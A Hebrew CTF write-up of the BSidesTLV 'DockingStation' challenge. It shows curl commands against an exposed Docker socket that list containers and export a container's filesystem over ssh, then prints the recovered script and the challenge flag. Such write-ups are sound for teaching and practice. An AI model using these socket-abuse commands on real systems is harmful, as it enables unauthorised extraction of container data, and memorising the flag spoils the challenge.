DockingStation

נכתב על ידי Yaakov Cohen

DockingStation

התחברנו לשרת ואחרי קצת חיפושים גילינו שהם השאירו את docker.sock פתוח. בואו נבדוק איזה מידע אנחנו יכולים לקבל.

הרצנו curl --unix-socket /var/run/docker.sock http/containers/json?all=1 וקיבלנו רשימה של 4 קונטיינרים. רק הראשון רלוונטי לנו:

{
    "Status":"Exited (0) 9 seconds ago",
    "Created":1524850803,
    "Image":"galf",
    "Labels":{

    },
    "NetworkSettings":{
        "Networks":{
            "bridge":{
                "NetworkID":"f250e236279a20bf205671734599f38a59e860b6721a23c7f6f27853f9bcfbc3",
                "MacAddress":"",
                "GlobalIPv6PrefixLen":0,
                "Links":null,
                "GlobalIPv6Address":"",
                "IPv6Gateway":"",
                "DriverOpts":null,
                "IPAMConfig":null,
                "EndpointID":"",
                "IPPrefixLen":0,
                "IPAddress":"",
                "Gateway":"",
                "Aliases":null
            }
        }
    },
    "HostConfig":{
        "NetworkMode":"default"
    },
    "ImageID":"sha256:5d71b54050f66b67ed0d183b76796da57a5b5f28ffd6f15b554b06ab0c8c3914",
    "State":"exited",
    "Command":"/galf.sh",
    "Names":[
        "/elated_morse"
    ],
    "Mounts":[

    ],
    "Id":"7fbd7d717462b5510a0066a4e33884e6b73877e837379bf1c196679c7f504825",
    "Ports":[

    ]
}

בגלל שהמערכת איפשרה קריאה בלבד את השלב הבא ביצענו על המחשב שלנו:

ssh bsidestlv@one.challenges.bsidestlv.com -p 2222 "curl --unix-socket /var/run/docker.sock http:/v1.24/containers/7fbd7d717462b5510a0066a4e33884e6b73877e837379bf1c196679c7f504825/export" > galf.tar

המספר הארוך זה ה-Id של הקונטיינר שאנחנו מנסים להוציא, galf זה flag בהיפוך אותיות.

אחרי שהקובץ סיים לדת חילצנו אותו ומצאנו סקריפט בשם galf.sh:

#!/bin/bash

ls -la /home/flag_is_here

בתיקייה /home/flag_is_here מצאנו flag.txt: BSidesTLV{i_am_r34dy_t0_esc4p3_th3_d0ck3r!}

Success